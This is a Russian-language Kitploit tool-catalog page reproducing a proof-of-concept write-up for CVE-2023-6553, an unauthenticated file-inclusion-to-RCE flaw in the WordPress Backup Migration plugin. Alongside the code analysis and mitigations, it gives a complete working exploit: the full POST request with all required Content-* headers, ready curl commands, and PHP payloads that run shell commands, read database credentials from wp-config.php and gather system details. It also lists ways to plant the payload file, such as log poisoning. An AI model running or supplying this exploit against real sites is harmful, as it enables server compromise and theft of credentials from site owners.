Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2023-6553 — Эксплойт proof-of-concept и техническое описание уязвимости CVE-2023-6553 — неаутентифицированная уязвимость включения PHP-файлов, позволяющая удалённое выполнение кода в плагине WordPress Backup Migration версии <=1.3.7. | Kitploit
Инструменты/GitHubGitHub/dungsocool/cve-2023-6553
Анализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и Образование
GitHubdungsocool/cve-2023-6553

CVE-2023-6553

Эксплойт proof-of-concept и техническое описание уязвимости CVE-2023-6553 — неаутентифицированная уязвимость включения PHP-файлов, позволяющая удалённое выполнение кода в плагине WordPress Backup Migration версии <=1.3.7.

Репозиторий
16 дней назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2023-6553

Включение PHP-файлов, приводящее к RCE — плагин Backup Migration

Плагин: Backup Migration (backup-backup) ≤ 1.3.7

CVSS: 9.8 (критический)

CWE: CWE-98 — Некорректный контроль имени файла для оператора Include/Require

Требование аутентификации: Отсутствует

Воздействие: Удалённое выполнение кода


1. Что это за уязвимость?

Backup Migration — довольно популярный плагин WordPress (более 90 000 активных установок), который помогает пользователям создавать резервные копии. В процессе резервного копирования плагин запускает в фоне файл с именем backup-heart.php — он получает информацию о конфигурации через HTTP-заголовки, чтобы узнать, какой каталог необходимо скопировать, где находится файл конфигурации и т. д.

Проблема в том, что этот файл полностью доверяет HTTP-заголовкам, отправленным клиентом: он напрямую подставляет значение заголовка в путь к файлу, а затем использует require_once() для загрузки файла по этому пути. Атакующему достаточно отправить заголовок Content-Dir, указывающий на каталог с вредоносным PHP-кодом, — и сервер автоматически подключит и выполнит его.

Стоит отметить, что файл backup-heart.php не требует аутентификации — он проверяет только, является ли метод запроса POST, без проверки nonce или прав пользователя. Любой пользователь интернета может отправить к нему запрос.

⇒ Это уязвимость типа zero-click.

2. Предварительные сведения

Включение файлов в PHP

В PHP есть функции include(), require(), require_once(), используемые для включения других PHP-файлов в работающую программу. Когда путь к файлу, передаваемый в эти функции, поступает из пользовательского ввода без проверки, атакующий может заставить сервер подключить любой нужный ему файл:

  • LFI (Local File Inclusion): загружает существующий файл на сервере — например, файл журнала, «отравленный» PHP-кодом.
  • RFI (Remote File Inclusion): загружает файл с внешнего сервера — требует allow_url_include=On (обычно отключено по умолчанию).

Этот CVE относится к категории LFI — атакующий контролирует путь, передаваемый в require_once(), который указывает на PHP-файл, размещённый атакующим на сервере.

Почему HTTP-заголовки опасны?

Многие разработчики считают HTTP-заголовки «внутренними» метаданными, известными только серверу и клиенту. В действительности атакующий контролирует 100% содержимого заголовков — он может задать любое имя и значение заголовка. Доверять заголовкам так же опасно, как доверять данным форм, — их необходимо проверять.

define() и константы PHP

define('NAME', $value) создаёт константу, используемую во всём приложении. Будучи однажды определённой через define(), константа не может быть изменена. Если $value поступает от атакующего, то все места, где используется эта константа, оказываются под угрозой.

3. Анализ исходного кода — где берёт начало уязвимость?

Шаг 1: Поиск sink

Я начал с поиска по всем выражениям require и include в плагине с помощью grep:

root@kitploit:~
grep -rn "require\|include" includes/

image.png

Поиск вернул множество вызовов require/include. При их просмотре выяснилось, что большинство — это вызовы include_once в banner/misc.php и banner/views/index.php; они относятся к коду отрисовки административного интерфейса с жёстко заданными путями, поэтому использовать их нельзя.

Однако моё внимание привлекли две строки в backup-heart.php:

root@kitploit:~
includes/backup-heart.php:64:   define('BMI_INCLUDES', BMI_ROOT_DIR . 'includes');
includes/backup-heart.php:118:  require_once BMI_INCLUDES . '/bypasser.php';

В строке 118 используется require_once с константой BMI_INCLUDES — если бы эта константа была жёстко задана, всё было бы безопасно. Но если посмотреть на строку 64, видно, что BMI_INCLUDES формируется из другой константы — BMI_ROOT_DIR. Значит, нужно проследить дальше: где константа BMI_ROOT_DIR получает своё значение?

Я снова использовал grep, чтобы проследить её:

root@kitploit:~
grep -n "BMI_ROOT_DIR" includes/backup-heart.php

Результат:

image.png

root@kitploit:~
Line 62: define('BMI_ROOT_DIR', $fields['content-dir']);
Line 64: define('BMI_INCLUDES', BMI_ROOT_DIR . 'includes');

Строка 62 показывает, что BMI_ROOT_DIR берёт значение из $fields['content-dir']. Это переменная, а не фиксированное значение, — нужно открыть файл и посмотреть, что содержит $fields.

Шаг 2: Изучение исходного кода — откуда берётся $fields?

Я открыл backup-heart.php в VS Code на строке 62:

root@kitploit:~
// Line 62
define('BMI_ROOT_DIR', $fields['content-dir']);

// Line 64
define('BMI_INCLUDES', BMI_ROOT_DIR. 'includes');

image.png

Отчётливо видно, что $fields['content-dir'] напрямую попадает в define(). Теперь нужно определить, где присваивается переменная $fields:

root@kitploit:~
// Lines 7-9: Only checks POST method
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
    exit;
}

// Lines 30-33: Reads ALL HTTP headers from the request
if (isFunctionEnabled('getallheaders')) {
    $fields= getallheaders();
}

// Lines 42-46: Lowercases header names
foreach ($fieldsas $key=> $value) {
    $buffer= $value;
    unset($fields[$key]);
    $fields[strtolower($key)] = $value;
}

image.png

image.png

На этом этапе первопричина становится абсолютно ясной: $fields содержит все HTTP-заголовки, полученные через getallheaders() и полностью контролируемые клиентом. Здесь нет ни wp_verify_nonce(), ни current_user_can(), ни проверки корректности пути — код лишь проверяет метод POST и напрямую считывает заголовки.

Шаг 3: Краткое описание хода атаки

root@kitploit:~
Attacker sends POST request with header Content-Dir: /path/to/attacker/
    ↓
getallheaders() reads raw headers → $fields['content-dir'] = "/path/to/attacker/"
    ↓
define('BMI_ROOT_DIR', "/path/to/attacker/")   ← no validation
    ↓
define('BMI_INCLUDES', "/path/to/attacker/includes")
    ↓
require_once "/path/to/attacker/includes/bypasser.php"   ← executes PHP
    ↓
Attacker code runs with www-data privileges → RCE

Кратко о первопричине: HTTP-заголовок → define() → require_once() — и между ними ни одного шага проверки.

Шаг 4: Отладка с помощью Xdebug

Я использовал Xdebug + VS Code, чтобы наглядно подтвердить ход атаки. Я установил две точки останова — на строке 62 и строке 118 в backup-heart.php, после чего отправил эксплойт-запрос с помощью curl.

Точка останова 1 — строка 62:

Отладчик остановился прямо на define('BMI_ROOT_DIR', $fields['content-dir']). Раскрыв переменную $fields на панели Variables, я увидел массив из 22 элементов — все HTTP-заголовки, отправленные клиентом. А именно:

  • content-dir = "/tmp/bmi/" — это ровно то значение, которое было отправлено в заголовке и напрямую присвоено константе BMI_ROOT_DIR.
  • content-abs = "/var/www/html/", content-configdir = "/tmp/bmi/", content-backups = "/tmp/bmi/back..." — всё это контролируется атакующим.

Никаких шагов проверки или фильтрации к content-dir перед передачей в define() не применяется.

image.png

Точка останова 2 — строка 118:

Нажав F5, я увидел, что отладчик остановился на require_once BMI_INCLUDES . '/bypasser.php'. Состояние в этот момент:

  • Панель Variables: $fields по-прежнему хранит content-dir = "/tmp/bmi/" — это доказывает, что значение не изменялось между строками 62 и 118.
  • Панель Call Stack: показывает {main} backup-heart.php 118:1 — код выполнился прямо от начала файла до этой точки, обойдя все проверки middleware и аутентификации.
  • Строка 118 готовится подключить файл по пути /tmp/bmi/includes/bypasser.php — файл, содержимое которого контролируется атакующим.

image.png

Результаты отладки полностью подтверждают схему из шага 3: HTTP-заголовок проходит путь от getallheaders() → define() → require_once() без какой-либо проверки между ними.

4. Цепочка атаки

Шаг 1 — Размещение PHP-файла на сервере

Прежде чем вызвать include, на целевом сервере уже должен существовать PHP-файл. Распространённые методы:

МетодСуть

Шаг 2 — Инициирование include одним POST-запросом

Отправьте запрос с Content-Dir, указывающим на каталог с полезной нагрузкой. Сервер автоматически выполнит require и запустит файл атакующего.

root@kitploit:~
POST /wp-content/plugins/backup-backup/includes/backup-heart.php HTTP/1.1
Host: target.com
Content-Dir: /tmp/bmi/
Content-Abs: /var/www/html/
Content-Content: /var/www/html/wp-content/
Content-Configdir: /tmp/bmi/
Content-Backups: /tmp/bmi/backups/
Content-Safelimit: 1
Content-Browser: true
Content-Identy: 1
Content-Manifest: 1
Content-Rev: 1
Content-Name: test
Content-Start: 1
Content-Filessofar: 0
Content-Total: 1
Content-Bmitmp: /tmp/
Content-It: 1
Content-Dbit: 1
Content-Dblast: 1
Content-Url: http://target.com/

Необходимо указать все заголовки Content-*, потому что backup-heart.php использует их в других вызовах define(); отсутствие заголовков вызовет предупреждения PHP и может прервать выполнение до require_once.

5. PoC — эксплуатация в лабораторной среде

5.1 Проверка, открыт ли эндпоинт

root@kitploit:~
curl -s -o /dev/null -w "%{http_code}" -X POST \
  "http://localhost:8181/wp-content/plugins/backup-backup/includes/backup-heart.php"

Возвращает 200 — эндпоинт открыт и не требует аутентификации.

image.png

5.2 Создание файла полезной нагрузки

Создайте структуру каталогов, соответствующую тому, что require_once ожидает найти: {Content-Dir}includes/bypasser.php:

root@kitploit:~
mkdir -p /tmp/bmi/includes

cat > /tmp/bmi/includes/bypasser.php << 'EOF'
<?php echo "RCESTART"; echo shell_exec("id"); echo "RCEEND"; die(); ?>
EOF

image.png

5.3 Отправка эксплойта — RCE

root@kitploit:~
curl -s -X POST "http://localhost:8181/wp-content/plugins/backup-backup/includes/backup-heart.php" \
  -H "Content-Dir: /tmp/bmi/" \
  -H "Content-Abs: /var/www/html/" \
  -H "Content-Content: /var/www/html/wp-content/" \
  -H "Content-Configdir: /tmp/bmi/" \
  -H "Content-Backups: /tmp/bmi/backups/" \
  -H "Content-Safelimit: 1" \
  -H "Content-Browser: true" \
  -H "Content-Identy: 1" \
  -H "Content-Manifest: 1" \
  -H "Content-Rev: 1" \
  -H "Content-Name: test" \
  -H "Content-Start: 1" \
  -H "Content-Filessofar: 0" \
  -H "Content-Total: 1" \
  -H "Content-Bmitmp: /tmp/" \
  -H "Content-It: 1" \
  -H "Content-Dbit: 1" \
  -H "Content-Dblast: 1" \
  -H "Content-Url: http://localhost:8181/"

Результат выполнения:

image.png

RCE успешно выполнен — сервер выполняет команду id и возвращает вывод.

5.4 Демонстрация воздействия — чтение учётных данных базы данных

После подтверждения RCE я изменил полезную нагрузку, чтобы показать, что атакующий может читать конфиденциальную информацию на сервере. Изменим содержимое файла полезной нагрузки так, чтобы он читал wp-config.php:

root@kitploit:~
docker exec wp-bricks-rce bash -c 'cat > /tmp/bmi/includes/bypasser.php << "EOF"
<?php echo "RCESTART\n"; echo shell_exec("grep DB_ /var/www/html/wp-config.php"); echo "\nRCEEND"; die(); ?>
EOF'

Повторно отправьте тот же эксплойт-запрос curl → в ответе будут детали подключения к базе данных:

root@kitploit:~
curl -s -X POST "http://localhost:8181/wp-content/plugins/backup-backup/includes/backup-heart.php" -H "Content-Dir: /tmp/bmi/" -H "Content-Abs: /var/www/html/" -H "Content-Content: /var/www/html/wp-content/" -H "Content-Configdir: /tmp/bmi/" -H "Content-Backups: /tmp/bmi/backups/" -H "Content-Safelimit: 1" -H "Content-Browser: true" -H "Content-Identy: 1" -H "Content-Manifest: 1" -H "Content-Rev: 1" -H "Content-Name: test" -H "Content-Start: 1" -H "Content-Filessofar: 0" -H "Content-Total: 1" -H "Content-Bmitmp: /tmp/" -H "Content-It: 1" -H "Content-Dbit: 1" -H "Content-Dblast: 1" -H "Content-Url: http://localhost:8181/"

Атакующий может читать любой файл, к которому у www-data есть доступ: wp-config.php, /etc/passwd, исходный код других плагинов, — расширяя поверхность атаки.

image.png

5.5 Сбор информации о системе

Ещё раз изменим полезную нагрузку, чтобы показать: атакующий может собирать информацию о серверной системе — это помогает повышению привилегий или горизонтальному перемещению по сети.

root@kitploit:~
docker exec wp-bricks-rce bash -c 'cat > /tmp/bmi/includes/bypasser.php << "EOF"
<?php echo "RCESTART\n"; echo shell_exec("uname -a"); echo shell_exec("hostname -I"); echo "\nRCEEND"; die(); ?>
EOF'

Отправляем curl-эксплойт → вывод:

root@kitploit:~
RCESTART
Linux 544a7c6002c6 6.18.33.1-microsoft-standard-WSL2 x86_64 GNU/Linux
172.18.0.3

RCEEND

image.png

Из этого вывода атакующий узнаёт:

  • Версия ядра — используется для поиска эксплойтов ядра с целью повышения привилегий до root
  • Внутренний IP 172.18.0.3 — подтверждает, что сервер находится внутри Docker-сети, что позволяет перемещаться на другие контейнеры (база данных, кэш и т. д.)

6. Серьёзность последствий

Реальное воздействие

  • Более 90 000 сайтов используют этот плагин.
  • Атакующий проверяет наличие плагина одним POST-запросом к эндпоинту: 200 — плагин установлен, 404 — отсутствует.
  • Отключённый плагин по-прежнему эксплуатируем, потому что backup-heart.php находится на диске и к нему можно обратиться напрямую по URL.
  • После получения RCE атакующий может: выгрузить базу данных, установить бэкдоры, перемещаться на другие серверы в той же сети.

7. Смягчение и устранение уязвимости

Что следует сделать разработчикам

Не используйте HTTP-заголовки для определения путей к файлам. Используйте относительные пути на основе __DIR__:

root@kitploit:~
// Vulnerable: uses whatever header value the attacker sends
define('BMI_ROOT_DIR', $fields['content-dir']);

// Fixed: uses fixed path, attacker cannot modify
define('BMI_ROOT_DIR', dirname(__FILE__) . '/../');

Добавьте проверку авторизации — вызывать этот эндпоинт должен иметь право только администратор WordPress:

root@kitploit:~
if (!wp_verify_nonce($fields['content-nonce'], 'bmi_backup_action')) {
    die('Unauthorized');
}

Что следует сделать администраторам WordPress

  1. Немедленно обновитесь до версии ≥ 1.3.8.
  2. Если плагин не используется, полностью удалите его — отключения недостаточно, поскольку файлы остаются доступными.
  3. Проверьте журналы доступа на предмет подозрительных запросов к backup-heart.php.
  4. Внедрите правила WAF, блокирующие прямые POST-запросы к /wp-content/plugins/*/includes/*.php.
Скачать инструмент
АтрибутЗначение
CVE IDCVE-2023-6553
Оценка CVSS9.8 (критический)
Плагинbackup-backup (Backup Migration) ≤ 1.3.7
АутентификацияНе требуется
Взаимодействие с пользователемНет (zero-click)
ИсправленоВерсия 1.3.8
Отравление журналовОтправьте запрос с <?php ... ?> в User-Agent → код попадает в журнал доступа → подключите файл журнала
PHP-сессииЗапишите PHP-код в файл сессии, расположенный по пути /tmp/sess_xxx
Цепочка загрузки файловИспользуйте функцию загрузки медиафайлов/аватаров в WordPress, чтобы загрузить файл
Журнал ошибок плагинаПлагин ведёт собственный журнал ошибок — если вызвать ошибку, содержащую PHP-код, этот код будет записан в файл журнала
Метрика CVSSЗначениеПричина
Вектор атакиСетьЧерез HTTP
Сложность атакиНизкая1 POST-запрос, не требуется особых условий или временных окон
Необходимые привилегииОтсутствуютЭндпоинт не требует аутентификации
Взаимодействие с пользователемНетАтака выполняется атакующим, участие жертвы не требуется
КонфиденциальностьВысокаяМожно читать любые файлы: wp-config.php, /etc/passwd, исходный код
ЦелостностьВысокаяПроизвольная запись файлов, установка веб-шеллов, изменение базы данных
ДоступностьВысокаяУдаление файлов, завершение процессов, полная компрометация сервера